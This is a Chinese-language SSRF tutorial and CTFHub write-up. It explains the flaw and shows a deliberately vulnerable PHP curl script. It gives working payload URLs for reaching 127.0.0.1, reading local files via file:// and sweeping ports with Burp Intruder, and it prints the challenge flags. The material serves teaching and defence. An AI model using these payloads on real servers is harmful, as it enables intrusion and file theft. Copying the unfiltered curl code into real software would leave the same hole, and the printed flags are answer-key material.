SSRF 漏洞
第一部分:基础知识介绍
1.介绍ssrf漏洞
SSRF(Server-Side Request Forgery ,服务度器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
2.SSRF漏洞原理
SSRF的形成大多是由于服务端提供了从其他服务器应用数据的功能且没有对目标地址做过过滤与限制。例如,黑客操作服务器端从URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务器端的请求伪造。SSRF利用存在的WEB应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。 ·对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。 ·攻击运行在内网或本地的应用程序。 ·对内网web应用进行指纹识别,识别企业内部的资产信息。 ·攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击(struts2,SQli 等)。 ·利用file协议读取本地文件等。
3.SSRF漏洞利用
SSRF漏洞利用的测试地址:
http://localhost:83/ssrf/index.php?url=http://www.baidu.com
 上述是本地测试的界面,通过get的获取方式,页面回显的是百度的界面。
但是,当设置参数URL为内网地址时,则会泄露内网信息,例如,当url=192.168.1.30:3306 时,页面返回"当前地址不允许连接到MySQL服务器",说明192.168.1.30:3306 存在MySQL服务,如下图所示
 访问ssrf/index.php?url=file:///C:/Windows/win.ini 即可读取本地文件,如下图所示 
4.SSRF漏洞代码分析
本地测试代码如下所示:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
该程序通过获取GET参数URL,通过curl_init() 初始化curl组件后,将参数URL带入curl_setopt($ch,CURLOPT_URL,$url) ,然后调用所以curl-exec请求该URL。
5.SSRF漏洞修复建议
(1)限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求。 (2)限制不能访问内网的IP,以防止对内网进行攻击。 (3)屏蔽返回的详细信息。
第二部分:实战化演示
1.内网访问
提示:访问内网127.0.0.1的flag.php
http://challenge-455599c6830d543e.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
 直接得到flag
ctfhub{2a1ab7d8552cacdc7b2dc137}
2.伪协议读取文件
 根据提示,尝试读取一下WEB目录下的flag.php,应为这个环境是搭在linux下的,所以根目录就在/var/www/html/flag.php
http://challenge-deb27f53ed205e8b.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
 以为思路错了,查看页面源代码得到flag 
ctfhub{1e4d3dad5f8b35ab41fd83dd}
3.端口扫描
 根据提示
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
那就直接拿出BurpSuit,抓包
 将其发送到Intruder  设置好Payload type为number的类型,根据提示端口从8000到9000,步长为:1  上述设置做好以后,开始爆破  爆破结束关键看一下,长度不一致的地方,看返回情况,直接得到flag. 
ctfhub{26dc8a065ee36c7a09087957}
|